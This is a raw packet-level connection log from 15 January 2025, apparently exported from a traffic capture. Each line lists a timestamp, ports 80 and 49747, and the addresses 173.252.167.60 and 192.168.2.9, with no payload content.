Jan 15, 2025 13:21:13.444508076 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.444519043 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.444530964 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.444535971 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.444535971 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.444542885 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.444555998 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.444590092 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.444590092 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.445286036 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.445297956 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.445308924 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.445338011 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.445348978 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.445359945 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.445374966 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.445394039 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.445394039 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.445394039 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.445493937 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.446214914 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.495347977 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.528392076 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.528429031 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.528441906 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.528454065 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.528469086 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.528496981 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.528527021 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.528553963 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.528553963 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.528561115 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.528589964 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.528704882 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.528765917 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.528789997 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.528789997 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.528819084 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.528831959 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.528844118 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529068947 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529081106 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529093981 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529110909 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.529110909 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.529131889 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529170036 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529184103 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529196024 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529208899 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529227018 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.529227018 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.529227018 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.529589891 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529603004 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529613972 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529644012 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529655933 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529656887 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.529656887 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.529669046 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529681921 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529782057 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529793978 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529805899 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529817104 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529829979 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529839039 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.529839039 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.529839039 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.529843092 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.529933929 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.529933929 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.530740976 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.530755043 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.530766964 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.530778885 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.530791044 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.530802965 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.530816078 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.530827045 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.530839920 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.530848026 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.530848026 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.530848026 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.530853987 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.530869007 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.530883074 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.530895948 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.530915976 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.530915976 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.530915976 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.531338930 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.531500101 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.531681061 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.531692982 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.531704903 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.531719923 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.531732082 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.531744003 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.531759024 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.531773090 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.531776905 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.531776905 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.531776905 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.531785011 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.531799078 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.531815052 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.531821966 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.531864882 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.531864882 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.531864882 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.532582998 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.532594919 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.532614946 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.532625914 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.532649040 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.532660961 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.532674074 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.532694101 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.532705069 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.532705069 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.532705069 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.532707930 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.532721996 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.532736063 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.532747984 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.532762051 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.532800913 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.532800913 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.532800913 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.533432007 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.533444881 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.533457041 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.533494949 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.533494949 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.575351000 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.575371027 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.575383902 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.577405930 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.615917921 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.615942001 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.615953922 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.615964890 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.615983009 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.615993977 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616007090 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616019964 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616060019 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.616060019 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.616091013 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616103888 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616113901 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616225958 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616238117 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616249084 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616255045 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.616255045 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.616266012 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616337061 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616386890 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616388083 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.616388083 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.616388083 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.616400957 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616442919 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616453886 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616466045 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616481066 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616679907 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616692066 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616703033 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616734028 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.616734028 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.616734028 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.616738081 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616751909 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616764069 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616779089 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616811037 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616822004 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616833925 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.616858006 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.616858006 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.616858006 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617131948 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617153883 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617168903 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617180109 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617191076 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617222071 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617223978 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617223978 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617223978 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617237091 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617250919 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617264032 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617301941 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617301941 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617484093 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617496014 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617507935 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617553949 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617566109 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617569923 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617569923 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617578983 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617593050 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617660999 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617672920 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617685080 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617696047 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617707968 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617718935 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617718935 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617718935 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617728949 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617743015 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617754936 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617767096 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617779016 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.617801905 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617801905 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617801905 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.617933035 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.621032000 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621048927 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621062994 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621083975 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621097088 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621108055 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621119976 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621134996 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.621134996 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.621143103 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621156931 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621169090 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621181011 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621193886 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621203899 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621217966 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621222973 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.621222973 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.621222973 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.621431112 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621433973 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.621433973 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.621457100 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621541977 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621553898 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621577024 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621588945 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621593952 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.621593952 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.621601105 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621614933 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621628046 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621639013 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621648073 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.621653080 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.621978998 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.622003078 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622014999 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622025967 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622037888 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622051954 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622064114 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622118950 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.622118950 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.622118950 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.622145891 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622157097 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622168064 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622179985 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622199059 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622209072 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622220993 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622231960 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622242928 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622255087 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622263908 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.622263908 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.622263908 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.622263908 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.622270107 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622283936 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622301102 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622312069 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622318983 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.622359037 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.622359037 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.622447968 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.623064995 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.623078108 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.623092890 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.623104095 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.623176098 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.623176098 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.703582048 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.703654051 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.703691959 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.703727961 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.703780890 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.703814983 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.703814983 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.703833103 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.703870058 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.703911066 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.703964949 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704009056 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.704009056 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.704018116 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704054117 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704090118 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704140902 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704194069 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704241037 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.704241037 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.704241037 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.704242945 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704279900 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704335928 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704385996 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704421997 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704457045 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704503059 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.704503059 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.704503059 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.704511881 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704564095 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704617023 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704628944 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.704652071 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704685926 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704720974 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704771042 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704804897 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704839945 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.704857111 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.704857111 CET	49747	80	192.168.2.9	173.252.167.60
